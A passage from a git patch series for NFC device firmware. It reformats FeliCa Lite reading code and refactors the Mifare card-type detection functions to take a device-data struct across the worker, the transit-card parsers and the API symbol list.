tx_rx->tx_bits = 8 * felica_lite_prepare_unencrypted_write( - tx_rx->tx_data, - reader, - &fixed_services[1], 1, - block_data - ); + tx_rx->tx_data, reader, &fixed_services[1], 1, block_data); if(!furi_hal_nfc_tx_rx_full(tx_rx)) { FURI_LOG_W(TAG, "Bad exchange writing random challenge"); return false; @@ -432,16 +432,14 @@ bool felica_read_lite_system(FuriHalNfcTxRxContext* tx_rx, FelicaReader* reader, felica_define_normal_block(service, RC_LITE_BLOCK, block_data); tx_rx->tx_bits = 8 * felica_lite_prepare_unencrypted_read( - tx_rx->tx_data, - reader, - true, - &fixed_services[2], 2 - ); + tx_rx->tx_data, reader, true, &fixed_services[2], 2); if(!furi_hal_nfc_tx_rx_full(tx_rx)) { FURI_LOG_W(TAG, "Bad exchange reading ID with MAC"); return false; } - if(felica_parse_unencrypted_read(tx_rx->rx_data, tx_rx->rx_bits / 8, reader, block_data, sizeof(block_data)) != FELICA_BLOCK_SIZE * 2) { + if(felica_parse_unencrypted_read( + tx_rx->rx_data, tx_rx->rx_bits / 8, reader, block_data, sizeof(block_data)) != + FELICA_BLOCK_SIZE * 2) { FURI_LOG_W(TAG, "Bad response to Read without Encryption (ID, MAC)"); return false; } @@ -457,47 +455,43 @@ bool felica_read_lite_system(FuriHalNfcTxRxContext* tx_rx, FelicaReader* reader, } tx_rx->tx_bits = 8 * felica_lite_prepare_unencrypted_read( - tx_rx->tx_data, - reader, - true, - &fixed_services[4], 3 - ); + tx_rx->tx_data, reader, true, &fixed_services[4], 3); if(!furi_hal_nfc_tx_rx_full(tx_rx)) { FURI_LOG_W(TAG, "Bad exchange reading blocks"); return false; } - if(felica_parse_unencrypted_read(tx_rx->rx_data, tx_rx->rx_bits / 8, reader, block_data, sizeof(block_data)) != FELICA_BLOCK_SIZE * 3) { + if(felica_parse_unencrypted_read( + tx_rx->rx_data, tx_rx->rx_bits / 8, reader, block_data, sizeof(block_data)) != + FELICA_BLOCK_SIZE * 3) { FURI_LOG_W(TAG, "Bad response to Read without Encryption (D_ID, CKV, MC)"); return false; } felica_define_normal_block(service, DEVICE_ID_LITE_BLOCK, block_data); felica_define_normal_block(service, CARD_KEY_VER_LITE_BLOCK, block_data + FELICA_BLOCK_SIZE); felica_define_normal_block(service, MEM_CONFIG_LITE_BLOCK, block_data + FELICA_BLOCK_SIZE * 2); - + // Read SPAD and REG accordingly to MC uint8_t* mc_data = block_data + (FELICA_BLOCK_SIZE * 2); - for (uint8_t block_number = 0; block_number <= REG_LITE_BLOCK; block_number++) { + for(uint8_t block_number = 0; block_number <= REG_LITE_BLOCK; block_number++) { if(!felica_lite_can_read_without_mac(mc_data + 6, block_number)) { continue; } tx_rx->tx_bits = 8 * felica_lite_prepare_unencrypted_read( - tx_rx->tx_data, - reader, - true, - &block_number, 1 - ); + tx_rx->tx_data, reader, true, &block_number, 1); if(!furi_hal_nfc_tx_rx_full(tx_rx)) { FURI_LOG_W(TAG, "Bad exchange reading blocks"); return false; } - if(felica_parse_unencrypted_read(tx_rx->rx_data, tx_rx->rx_bits / 8, reader, block_data, sizeof(block_data)) != FELICA_BLOCK_SIZE) { + if(felica_parse_unencrypted_read( + tx_rx->rx_data, tx_rx->rx_bits / 8, reader, block_data, sizeof(block_data)) != + FELICA_BLOCK_SIZE) { FURI_LOG_W(TAG, "Bad response to Read without Encryption (block %d)", block_number); return false; } felica_define_normal_block(service, block_number, block_data); } - if (data->type == FelicaICTypeLiteS) { + if(data->type == FelicaICTypeLiteS) { const uint8_t fixed_s_services[] = { ID_LITE_BLOCK, MAC_A_LITE_BLOCK, @@ -506,44 +500,44 @@ bool felica_read_lite_system(FuriHalNfcTxRxContext* tx_rx, FelicaReader* reader, }; tx_rx->tx_bits = 8 * felica_lite_prepare_unencrypted_read( - tx_rx->tx_data, - reader, - true, - fixed_s_services, 2 - ); + tx_rx->tx_data, reader, true, fixed_s_services, 2); if(!furi_hal_nfc_tx_rx_full(tx_rx)) { FURI_LOG_W(TAG, "Bad exchange reading ID with MAC_A"); return false; } - if(felica_parse_unencrypted_read(tx_rx->rx_data, tx_rx->rx_bits / 8, reader, block_data, sizeof(block_data)) != FELICA_BLOCK_SIZE * 2) { + if(felica_parse_unencrypted_read( + tx_rx->rx_data, tx_rx->rx_bits / 8, reader, block_data, sizeof(block_data)) != + FELICA_BLOCK_SIZE * 2) { FURI_LOG_W(TAG, "Bad response to Read without Encryption (ID, MAC_A)"); return false; } felica_define_normal_block(service, ID_LITE_BLOCK, block_data); felica_define_normal_block(service, MAC_A_LITE_BLOCK, block_data + FELICA_BLOCK_SIZE); - + tx_rx->tx_bits = 8 * felica_lite_prepare_unencrypted_read( - tx_rx->tx_data, - reader, - true, - &fixed_s_services[2], 2 - ); + tx_rx->tx_data, reader, true, &fixed_s_services[2], 2); if(!furi_hal_nfc_tx_rx_full(tx_rx)) { FURI_LOG_W(TAG, "Bad exchange reading ID with MAC_A"); return false; } - if(felica_parse_unencrypted_read(tx_rx->rx_data, tx_rx->rx_bits / 8, reader, block_data, sizeof(block_data)) != FELICA_BLOCK_SIZE * 2) { + if(felica_parse_unencrypted_read( + tx_rx->rx_data, tx_rx->rx_bits / 8, reader, block_data, sizeof(block_data)) != + FELICA_BLOCK_SIZE * 2) { FURI_LOG_W(TAG, "Bad response to Read without Encryption (WC, CRC_CHECK)"); return false; } felica_define_normal_block(service, WRITE_COUNT_LITE_BLOCK, block_data); felica_define_normal_block(service, CRC_CHECK_LITE_BLOCK, block_data + FELICA_BLOCK_SIZE); } - + return true; } -bool felica_read_card(FuriHalNfcTxRxContext* tx_rx, FelicaData* data, uint8_t* polled_idm, uint8_t* polled_pmm) { +bool felica_read_card( + FuriHalNfcTxRxContext* tx_rx, + FelicaData* data, + uint8_t* polled_idm, + uint8_t* polled_pmm) { furi_assert(tx_rx); furi_assert(polled_idm); furi_assert(polled_pmm); @@ -560,7 +554,7 @@ bool felica_read_card(FuriHalNfcTxRxContext* tx_rx, FelicaData* data, uint8_t* p felica_parse_system_info(current_system, polled_idm, polled_pmm); current_system->next = NULL; - if (data->type == FelicaICTypeLite || data->type == FelicaICTypeLiteS) { + if(data->type == FelicaICTypeLite || data->type == FelicaICTypeLiteS) { FURI_LOG_I(TAG, "Reading Felica Lite system"); felica_read_lite_system(tx_rx, &reader, data, current_system); card_read = true; diff --git a/lib/nfc/protocols/felica.h b/lib/nfc/protocols/felica.h index 95020a86a..1f0912802 100644 --- a/lib/nfc/protocols/felica.h +++ b/lib/nfc/protocols/felica.h @@ -43,7 +43,7 @@ #define RANDOM_TYPE_SERVICE_ATTRIBUTE (0b0010 << 2) #define CYCLIC_TYPE_SERVICE_ATTRIBUTE (0b0011 << 2) -#define PURSE_TYPE_SERVICE_ATTRIBUTE (0b010 << 3) +#define PURSE_TYPE_SERVICE_ATTRIBUTE (0b010 << 3) #define AUTH_RW_SERVICE_ATTRIBUTE (0b00) #define UNAUTH_RW_SERVICE_ATTRIBUTE (0b01) @@ -51,7 +51,7 @@ #define UNAUTH_RO_SERVICE_ATTRIBUTE (0b11) #define AUTH_DIRECT_ACCESS_SERVICE_ATTRIBUTE (0b000) -#define UNAUTH_DIRECT_ACCESS_SERVICE_ATTRIBUTE (0b001) +#define UNAUTH_DIRECT_ACCESS_SERVICE_ATTRIBUTE (0b001) #define AUTH_CASHBACK_DECREMENT_SERVICE_ATTRIBUTE (0b010) #define UNAUTH_CASHBACK_DECREMENT_SERVICE_ATTRIBUTE (0b011) #define AUTH_DECREMENT_SERVICE_ATTRIBUTE (0b100) @@ -97,10 +97,10 @@ typedef enum { } FelicaICType; typedef struct { - uint8_t exponent: 2; + uint8_t exponent : 2; // Incremented at read - uint8_t real_a: 4; - uint8_t real_b: 4; + uint8_t real_a : 4; + uint8_t real_b : 4; } FelicaMRTParts; typedef enum { @@ -150,7 +150,7 @@ typedef struct _FelicaSystem_t { FelicaMRTParameters maximum_response_times; FelicaService* services; - + struct _FelicaSystem_t* next; } FelicaSystem; @@ -170,4 +170,8 @@ typedef struct { bool felica_check_ic_type(uint8_t* PMm); FelicaICType felica_get_ic_type(uint8_t* PMm); -bool felica_read_card(FuriHalNfcTxRxContext* tx_rx, FelicaData* data, uint8_t* polled_idm, uint8_t* polled_pmm); \ No newline at end of file +bool felica_read_card( + FuriHalNfcTxRxContext* tx_rx, + FelicaData* data, + uint8_t* polled_idm, + uint8_t* polled_pmm); \ No newline at end of file From c7d60e5f1167645b9743d67f7f8d4c4915a9f0fd Mon Sep 17 00:00:00 2001 From: Mekare Date: Wed, 7 Dec 2022 21:19:35 +0100 Subject: [PATCH 009/329] mf_classic_check_card_type: ATQA1 is used --- lib/nfc/protocols/mifare_classic.c | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/nfc/protocols/mifare_classic.c b/lib/nfc/protocols/mifare_classic.c index b7a52bc01..aa2936cb5 100644 --- a/lib/nfc/protocols/mifare_classic.c +++ b/lib/nfc/protocols/mifare_classic.c @@ -352,7 +352,6 @@ static bool mf_classic_is_allowed_access( } bool mf_classic_check_card_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK) { - UNUSED(ATQA1); if((ATQA0 == 0x44 || ATQA0 == 0x04) && (SAK == 0x08 || SAK == 0x88 || SAK == 0x09)) { return true; } else if((ATQA0 == 0x01) && (ATQA1 == 0x0F) && (SAK == 0x01)) { From 72d9ad83dcfc488d567908f894975c5999342c65 Mon Sep 17 00:00:00 2001 From: Mekare Date: Wed, 7 Dec 2022 21:30:54 +0100 Subject: [PATCH 010/329] mf_classic_get_classic_type: ATQA1 is used --- lib/nfc/protocols/mifare_classic.c | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/nfc/protocols/mifare_classic.c b/lib/nfc/protocols/mifare_classic.c index aa2936cb5..7fdf8c784 100644 --- a/lib/nfc/protocols/mifare_classic.c +++ b/lib/nfc/protocols/mifare_classic.c @@ -365,7 +365,6 @@ bool mf_classic_check_card_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK) { } MfClassicType mf_classic_get_classic_type(int8_t ATQA0, uint8_t ATQA1, uint8_t SAK) { - UNUSED(ATQA1); if((ATQA0 == 0x44 || ATQA0 == 0x04) && (SAK == 0x08 || SAK == 0x88 || SAK == 0x09)) { return MfClassicType1k; } else if((ATQA0 == 0x01) && (ATQA1 == 0x0F) && (SAK == 0x01)) { From 287175987754e8d7078c661c3bf738f39eeb3039 Mon Sep 17 00:00:00 2001 From: Mekare Date: Wed, 7 Dec 2022 21:46:37 +0100 Subject: [PATCH 011/329] use FuriHalNfcADevData instead of using each of its fields in function calls --- firmware/targets/f7/api_symbols.csv | 10 +++++----- lib/nfc/nfc_worker.c | 22 +++++++++------------- lib/nfc/parsers/plantain_4k_parser.c | 3 +-- lib/nfc/parsers/plantain_parser.c | 3 +-- lib/nfc/parsers/troika_4k_parser.c | 3 +-- lib/nfc/parsers/troika_parser.c | 3 +-- lib/nfc/parsers/two_cities.c | 3 +-- lib/nfc/protocols/mifare_classic.c | 10 ++++++++-- lib/nfc/protocols/mifare_classic.h | 4 ++-- lib/nfc/protocols/mifare_common.c | 6 +++++- lib/nfc/protocols/mifare_common.h | 3 ++- lib/nfc/protocols/mifare_desfire.c | 6 +++++- lib/nfc/protocols/mifare_desfire.h | 2 +- lib/nfc/protocols/mifare_ultralight.c | 11 ++++++----- lib/nfc/protocols/mifare_ultralight.h | 2 +- 15 files changed, 49 insertions(+), 42 deletions(-) diff --git a/firmware/targets/f7/api_symbols.csv b/firmware/targets/f7/api_symbols.csv index a9999e20e..2962645c2 100644 --- a/firmware/targets/f7/api_symbols.csv +++ b/firmware/targets/f7/api_symbols.csv @@ -1,5 +1,5 @@ entry,status,name,type,params -Version,+,8.2,, +Version,+,8.3,, Header,+,applications/services/bt/bt_service/bt.h,, Header,+,applications/services/cli/cli.h,, Header,+,applications/services/cli/cli_vcp.h,, @@ -1829,7 +1829,7 @@ Function,+,menu_set_selected_item,void,"Menu*, uint32_t" Function,-,mf_classic_auth_attempt,_Bool,"FuriHalNfcTxRxContext*, MfClassicAuthContext*, uint64_t" Function,-,mf_classic_auth_init_context,void,"MfClassicAuthContext*, uint8_t" Function,-,mf_classic_authenticate,_Bool,"FuriHalNfcTxRxContext*, uint8_t, uint64_t, MfClassicKey" -Function,-,mf_classic_check_card_type,_Bool,"uint8_t, uint8_t, uint8_t" +Function,-,mf_classic_check_card_type,_Bool,FuriHalNfcADevData* Function,-,mf_classic_dict_add_key,_Bool,"MfClassicDict*, uint8_t*" Function,-,mf_classic_dict_add_key_str,_Bool,"MfClassicDict*, FuriString*" Function,-,mf_classic_dict_alloc,MfClassicDict*,MfClassicDictType @@ -1847,7 +1847,7 @@ Function,-,mf_classic_dict_is_key_present,_Bool,"MfClassicDict*, uint8_t*" Function,-,mf_classic_dict_is_key_present_str,_Bool,"MfClassicDict*, FuriString*" Function,-,mf_classic_dict_rewind,_Bool,MfClassicDict* Function,-,mf_classic_emulator,_Bool,"MfClassicEmulator*, FuriHalNfcTxRxContext*" -Function,-,mf_classic_get_classic_type,MfClassicType,"int8_t, uint8_t, uint8_t" +Function,-,mf_classic_get_classic_type,MfClassicType,FuriHalNfcADevData* Function,-,mf_classic_get_read_sectors_and_keys,void,"MfClassicData*, uint8_t*, uint8_t*" Function,-,mf_classic_get_sector_by_block,uint8_t,uint8_t Function,-,mf_classic_get_sector_trailer_block_num_by_sector,uint8_t,uint8_t @@ -1881,7 +1881,7 @@ Function,-,mf_df_cat_file,void,"MifareDesfireFile*, FuriString*" Function,-,mf_df_cat_free_mem,void,"MifareDesfireFreeMemory*, FuriString*" Function,-,mf_df_cat_key_settings,void,"MifareDesfireKeySettings*, FuriString*" Function,-,mf_df_cat_version,void,"MifareDesfireVersion*, FuriString*" -Function,-,mf_df_check_card_type,_Bool,"uint8_t, uint8_t, uint8_t" +Function,-,mf_df_check_card_type,_Bool,FuriHalNfcADevData* Function,-,mf_df_clear,void,MifareDesfireData* Function,-,mf_df_parse_get_application_ids_response,_Bool,"uint8_t*, uint16_t, MifareDesfireApplication**" Function,-,mf_df_parse_get_file_ids_response,_Bool,"uint8_t*, uint16_t, MifareDesfireFile**" @@ -1904,7 +1904,7 @@ Function,-,mf_df_prepare_read_data,uint16_t,"uint8_t*, uint8_t, uint32_t, uint32 Function,-,mf_df_prepare_read_records,uint16_t,"uint8_t*, uint8_t, uint32_t, uint32_t" Function,-,mf_df_prepare_select_application,uint16_t,"uint8_t*, uint8_t[3]" Function,-,mf_df_read_card,_Bool,"FuriHalNfcTxRxContext*, MifareDesfireData*" -Function,-,mf_ul_check_card_type,_Bool,"uint8_t, uint8_t, uint8_t" +Function,-,mf_ul_check_card_type,_Bool,FuriHalNfcADevData* Function,-,mf_ul_is_full_capture,_Bool,MfUltralightData* Function,-,mf_ul_prepare_emulation,void,"MfUltralightEmulator*, MfUltralightData*" Function,-,mf_ul_prepare_emulation_response,_Bool,"uint8_t*, uint16_t, uint8_t*, uint16_t*, uint32_t*, void*" diff --git a/lib/nfc/nfc_worker.c b/lib/nfc/nfc_worker.c index 3e4677a46..257dd336e 100644 --- a/lib/nfc/nfc_worker.c +++ b/lib/nfc/nfc_worker.c @@ -296,17 +296,16 @@ static bool nfc_worker_read_nfca(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* t bool card_read = false; furi_hal_nfc_sleep(); - if(mf_ul_check_card_type(a_data->atqa[0], a_data->atqa[1], a_data->sak)) { + if(mf_ul_check_card_type(a_data)) { FURI_LOG_I(TAG, "Mifare Ultralight / NTAG detected"); nfc_worker->dev_data->protocol = NfcDeviceProtocolMifareUl; card_read = nfc_worker_read_mf_ultralight(nfc_worker, tx_rx); - } else if(mf_classic_check_card_type(a_data->atqa[0], a_data->atqa[1], a_data->sak)) { + } else if(mf_classic_check_card_type(a_data)) { FURI_LOG_I(TAG, "Mifare Classic detected"); nfc_worker->dev_data->protocol = NfcDeviceProtocolMifareClassic; - nfc_worker->dev_data->mf_classic_data.type = - mf_classic_get_classic_type(a_data->atqa[0], a_data->atqa[1], a_data->sak); + nfc_worker->dev_data->mf_classic_data.type = mf_classic_get_classic_type(a_data); card_read = nfc_worker_read_mf_classic(nfc_worker, tx_rx); - } else if(mf_df_check_card_type(a_data->atqa[0], a_data->atqa[1], a_data->sak)) { + } else if(mf_df_check_card_type(a_data)) { FURI_LOG_I(TAG, "Mifare DESFire detected"); nfc_worker->dev_data->protocol = NfcDeviceProtocolMifareDesfire; if(!nfc_worker_read_mf_desfire(nfc_worker, tx_rx)) { @@ -462,8 +461,8 @@ void nfc_worker_read_type(NfcWorker* nfc_worker) { if(nfc_data->type == FuriHalNfcTypeA) { if(read_mode == NfcReadModeMfClassic) { nfc_worker->dev_data->protocol = NfcDeviceProtocolMifareClassic; - nfc_worker->dev_data->mf_classic_data.type = mf_classic_get_classic_type( - nfc_data->a_data.atqa[0], nfc_data->a_data.atqa[1], nfc_data->a_data.sak); + nfc_worker->dev_data->mf_classic_data.type = + mf_classic_get_classic_type(&nfc_data->a_data); if(nfc_worker_read_mf_classic(nfc_worker, &tx_rx)) { FURI_LOG_D(TAG, "Card read"); dev_data->protocol = NfcDeviceProtocolMifareClassic; @@ -845,8 +844,7 @@ void nfc_worker_write_mf_classic(NfcWorker* nfc_worker) { } FURI_LOG_I(TAG, "Check mf classic type"); - MfClassicType type = mf_classic_get_classic_type( - nfc_data.a_data.atqa[0], nfc_data.a_data.atqa[1], nfc_data.a_data.sak); + MfClassicType type = mf_classic_get_classic_type(&nfc_data.a_data); if(type != nfc_worker->dev_data->mf_classic_data.type) { FURI_LOG_E(TAG, "Wrong mf classic type"); nfc_worker->callback(NfcWorkerEventWrongCard, nfc_worker->context); @@ -917,8 +915,7 @@ void nfc_worker_update_mf_classic(NfcWorker* nfc_worker) { } FURI_LOG_I(TAG, "Check MF classic type"); - MfClassicType type = mf_classic_get_classic_type( - nfc_data.a_data.atqa[0], nfc_data.a_data.atqa[1], nfc_data.a_data.sak); + MfClassicType type = mf_classic_get_classic_type(&nfc_data.a_data); if(type != nfc_worker->dev_data->mf_classic_data.type) { FURI_LOG_E(TAG, "MF classic type mismatch"); nfc_worker->callback(NfcWorkerEventWrongCard, nfc_worker->context); @@ -980,8 +977,7 @@ void nfc_worker_mf_ultralight_read_auth(NfcWorker* nfc_worker) { while(nfc_worker->state == NfcWorkerStateReadMfUltralightReadAuth) { furi_hal_nfc_sleep(); if(furi_hal_nfc_detect(nfc_data, 300) && nfc_data->type == FuriHalNfcTypeA) { - if(mf_ul_check_card_type( - nfc_data->a_data.atqa[0], nfc_data->a_data.atqa[1], nfc_data->a_data.sak)) { + if(mf_ul_check_card_type(&nfc_data->a_data)) { nfc_worker->callback(NfcWorkerEventCardDetected, nfc_worker->context); if(data->auth_method == MfUltralightAuthMethodManual || data->auth_method == MfUltralightAuthMethodAuto) { diff --git a/lib/nfc/parsers/plantain_4k_parser.c b/lib/nfc/parsers/plantain_4k_parser.c index 2d48c9a6e..300fd20bd 100644 --- a/lib/nfc/parsers/plantain_4k_parser.c +++ b/lib/nfc/parsers/plantain_4k_parser.c @@ -71,8 +71,7 @@ bool plantain_4k_parser_read(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx MfClassicReader reader = {}; FuriHalNfcADevData* nfc_a_data = &nfc_worker->dev_data->nfc_data.a_data; - reader.type = - mf_classic_get_classic_type(nfc_a_data->atqa[0], nfc_a_data->atqa[1], nfc_a_data->sak); + reader.type = mf_classic_get_classic_type(nfc_a_data); for(size_t i = 0; i < COUNT_OF(plantain_keys_4k); i++) { mf_classic_reader_add_sector( &reader, diff --git a/lib/nfc/parsers/plantain_parser.c b/lib/nfc/parsers/plantain_parser.c index b2cc1017f..0039b588d 100644 --- a/lib/nfc/parsers/plantain_parser.c +++ b/lib/nfc/parsers/plantain_parser.c @@ -46,8 +46,7 @@ bool plantain_parser_read(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) { MfClassicReader reader = {}; FuriHalNfcADevData* nfc_a_data = &nfc_worker->dev_data->nfc_data.a_data; - reader.type = - mf_classic_get_classic_type(nfc_a_data->atqa[0], nfc_a_data->atqa[1], nfc_a_data->sak); + reader.type = mf_classic_get_classic_type(nfc_a_data); for(size_t i = 0; i < COUNT_OF(plantain_keys); i++) { mf_classic_reader_add_sector( &reader, plantain_keys[i].sector, plantain_keys[i].key_a, plantain_keys[i].key_b); diff --git a/lib/nfc/parsers/troika_4k_parser.c b/lib/nfc/parsers/troika_4k_parser.c index a94d69486..dc3e93ff9 100644 --- a/lib/nfc/parsers/troika_4k_parser.c +++ b/lib/nfc/parsers/troika_4k_parser.c @@ -68,8 +68,7 @@ bool troika_4k_parser_read(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) MfClassicReader reader = {}; FuriHalNfcADevData* nfc_a_data = &nfc_worker->dev_data->nfc_data.a_data; - reader.type = - mf_classic_get_classic_type(nfc_a_data->atqa[0], nfc_a_data->atqa[1], nfc_a_data->sak); + reader.type = mf_classic_get_classic_type(nfc_a_data); for(size_t i = 0; i < COUNT_OF(troika_4k_keys); i++) { mf_classic_reader_add_sector( &reader, troika_4k_keys[i].sector, troika_4k_keys[i].key_a, troika_4k_keys[i].key_b); diff --git a/lib/nfc/parsers/troika_parser.c b/lib/nfc/parsers/troika_parser.c index 569d83822..c46022300 100644 --- a/lib/nfc/parsers/troika_parser.c +++ b/lib/nfc/parsers/troika_parser.c @@ -44,8 +44,7 @@ bool troika_parser_read(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) { MfClassicReader reader = {}; FuriHalNfcADevData* nfc_a_data = &nfc_worker->dev_data->nfc_data.a_data; - reader.type = - mf_classic_get_classic_type(nfc_a_data->atqa[0], nfc_a_data->atqa[1], nfc_a_data->sak); + reader.type = mf_classic_get_classic_type(nfc_a_data); for(size_t i = 0; i < COUNT_OF(troika_keys); i++) { mf_classic_reader_add_sector( diff --git a/lib/nfc/parsers/two_cities.c b/lib/nfc/parsers/two_cities.c index e625e3e97..296880a9f 100644 --- a/lib/nfc/parsers/two_cities.c +++ b/lib/nfc/parsers/two_cities.c @@ -72,8 +72,7 @@ bool two_cities_parser_read(NfcWorker* nfc_worker, FuriHalNfcTxRxContext* tx_rx) MfClassicReader reader = {}; FuriHalNfcADevData* nfc_a_data = &nfc_worker->dev_data->nfc_data.a_data; - reader.type = - mf_classic_get_classic_type(nfc_a_data->atqa[0], nfc_a_data->atqa[1], nfc_a_data->sak); + reader.type = mf_classic_get_classic_type(nfc_a_data); for(size_t i = 0; i < COUNT_OF(two_cities_keys_4k); i++) { mf_classic_reader_add_sector( &reader, diff --git a/lib/nfc/protocols/mifare_classic.c b/lib/nfc/protocols/mifare_classic.c index 7fdf8c784..2156237f1 100644 --- a/lib/nfc/protocols/mifare_classic.c +++ b/lib/nfc/protocols/mifare_classic.c @@ -351,7 +351,10 @@ static bool mf_classic_is_allowed_access( } } -bool mf_classic_check_card_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK) { +bool mf_classic_check_card_type(FuriHalNfcADevData* data) { + uint8_t ATQA0 = data->atqa[0]; + uint8_t ATQA1 = data->atqa[1]; + uint8_t SAK = data->sak; if((ATQA0 == 0x44 || ATQA0 == 0x04) && (SAK == 0x08 || SAK == 0x88 || SAK == 0x09)) { return true; } else if((ATQA0 == 0x01) && (ATQA1 == 0x0F) && (SAK == 0x01)) { @@ -364,7 +367,10 @@ bool mf_classic_check_card_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK) { } } -MfClassicType mf_classic_get_classic_type(int8_t ATQA0, uint8_t ATQA1, uint8_t SAK) { +MfClassicType mf_classic_get_classic_type(FuriHalNfcADevData* data) { + uint8_t ATQA0 = data->atqa[0]; + uint8_t ATQA1 = data->atqa[1]; + uint8_t SAK = data->sak; if((ATQA0 == 0x44 || ATQA0 == 0x04) && (SAK == 0x08 || SAK == 0x88 || SAK == 0x09)) { return MfClassicType1k; } else if((ATQA0 == 0x01) && (ATQA1 == 0x0F) && (SAK == 0x01)) { diff --git a/lib/nfc/protocols/mifare_classic.h b/lib/nfc/protocols/mifare_classic.h index 9a0bb5790..97a56ae6c 100644 --- a/lib/nfc/protocols/mifare_classic.h +++ b/lib/nfc/protocols/mifare_classic.h @@ -92,9 +92,9 @@ typedef struct { const char* mf_classic_get_type_str(MfClassicType type); -bool mf_classic_check_card_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK); +bool mf_classic_check_card_type(FuriHalNfcADevData* data); -MfClassicType mf_classic_get_classic_type(int8_t ATQA0, uint8_t ATQA1, uint8_t SAK); +MfClassicType mf_classic_get_classic_type(FuriHalNfcADevData* data); uint8_t mf_classic_get_total_sectors_num(MfClassicType type); diff --git a/lib/nfc/protocols/mifare_common.c b/lib/nfc/protocols/mifare_common.c index 90b57e1f0..cfb5e0a37 100644 --- a/lib/nfc/protocols/mifare_common.c +++ b/lib/nfc/protocols/mifare_common.c @@ -1,6 +1,10 @@ #include "mifare_common.h" +#include "furi_hal_nfc.h" -MifareType mifare_common_get_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK) { +MifareType mifare_common_get_type(FuriHalNfcADevData* data) { + uint8_t ATQA0 = data->atqa[0]; + uint8_t ATQA1 = data->atqa[1]; + uint8_t SAK = data->sak; MifareType type = MifareTypeUnknown; if((ATQA0 == 0x44) && (ATQA1 == 0x00) && (SAK == 0x00)) { diff --git a/lib/nfc/protocols/mifare_common.h b/lib/nfc/protocols/mifare_common.h index 2b694d906..e60a97bd0 100644 --- a/lib/nfc/protocols/mifare_common.h +++ b/lib/nfc/protocols/mifare_common.h @@ -1,6 +1,7 @@ #pragma once #include +#include "furi_hal_nfc.h" typedef enum { MifareTypeUnknown, @@ -9,4 +10,4 @@ typedef enum { MifareTypeDesfire, } MifareType; -MifareType mifare_common_get_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK); +MifareType mifare_common_get_type(FuriHalNfcADevData* data); diff --git a/lib/nfc/protocols/mifare_desfire.c b/lib/nfc/protocols/mifare_desfire.c index b2247bf20..562549efe 100644 --- a/lib/nfc/protocols/mifare_desfire.c +++ b/lib/nfc/protocols/mifare_desfire.c @@ -233,7 +233,11 @@ void mf_df_cat_file(MifareDesfireFile* file, FuriString* out) { } } -bool mf_df_check_card_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK) { +bool mf_df_check_card_type(FuriHalNfcADevData* data) { + uint8_t ATQA0 = data->atqa[0]; + uint8_t ATQA1 = data->atqa[1]; + uint8_t SAK = data->sak; + return ATQA0 == 0x44 && ATQA1 == 0x03 && SAK == 0x20; } diff --git a/lib/nfc/protocols/mifare_desfire.h b/lib/nfc/protocols/mifare_desfire.h index 963a18f58..5a912377d 100644 --- a/lib/nfc/protocols/mifare_desfire.h +++ b/lib/nfc/protocols/mifare_desfire.h @@ -128,7 +128,7 @@ void mf_df_cat_application_info(MifareDesfireApplication* app, FuriString* out); void mf_df_cat_application(MifareDesfireApplication* app, FuriString* out); void mf_df_cat_file(MifareDesfireFile* file, FuriString* out); -bool mf_df_check_card_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK); +bool mf_df_check_card_type(FuriHalNfcADevData* data); uint16_t mf_df_prepare_get_version(uint8_t* dest); bool mf_df_parse_get_version_response(uint8_t* buf, uint16_t len, MifareDesfireVersion* out); diff --git a/lib/nfc/protocols/mifare_ultralight.c b/lib/nfc/protocols/mifare_ultralight.c index 85e234bd9..02a7b0994 100644 --- a/lib/nfc/protocols/mifare_ultralight.c +++ b/lib/nfc/protocols/mifare_ultralight.c @@ -33,11 +33,12 @@ uint32_t mf_ul_pwdgen_amiibo(FuriHalNfcDevData* data) { return pwd; } -bool mf_ul_check_card_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK) { - if((ATQA0 == 0x44) && (ATQA1 == 0x00) && (SAK == 0x00)) { - return true; - } - return false; +bool mf_ul_check_card_type(FuriHalNfcADevData* data) { + uint8_t ATQA0 = data->atqa[0]; + uint8_t ATQA1 = data->atqa[1]; + uint8_t SAK = data->sak; + + return ((ATQA0 == 0x44) && (ATQA1 == 0x00) && (SAK == 0x00)); } void mf_ul_reset(MfUltralightData* data) { diff --git a/lib/nfc/protocols/mifare_ultralight.h b/lib/nfc/protocols/mifare_ultralight.h index 4ab22e89c..9ae9ab463 100644 --- a/lib/nfc/protocols/mifare_ultralight.h +++ b/lib/nfc/protocols/mifare_ultralight.h @@ -200,7 +200,7 @@ typedef struct { void mf_ul_reset(MfUltralightData* data); -bool mf_ul_check_card_type(uint8_t ATQA0, uint8_t ATQA1, uint8_t SAK); +bool mf_ul_check_card_type(FuriHalNfcADevData* data); bool mf_ultralight_read_version( FuriHalNfcTxRxContext* tx_rx, From 6c7cd0960c036f1eaa114a3e23db8efb99457b5b Mon Sep 17 00:00:00 2001 From: nullableVoidPtr <30564701+nullableVoidPtr@users.noreply.github.com> Date: Sat, 10 Dec 2022 12:15:09 +1100 Subject: [PATCH 012/329] NFC: Add Felica info scenes and properly clear felica_data --- applications/main/nfc/nfc_i.h | 14 ++ .../main/nfc/scenes/nfc_scene_config.h | 3 + .../main/nfc/scenes/nfc_scene_delete.c | 2 + .../nfc/scenes/nfc_scene_felica_info_select.c | 124 ++++++++++ .../main/nfc/scenes/nfc_scene_felica_menu.c | 84 +++++++ .../scenes/nfc_scene_felica_read_success.c | 11 +- .../scenes/nfc_scene_felica_service_data.c | 143 ++++++++++++ firmware/targets/f7/api_symbols.csv | 14 +- lib/nfc/nfc_device.c | 2 + lib/nfc/nfc_device.h | 1 + lib/nfc/protocols/felica.c | 220 +++++++++++------- lib/nfc/protocols/felica.h | 102 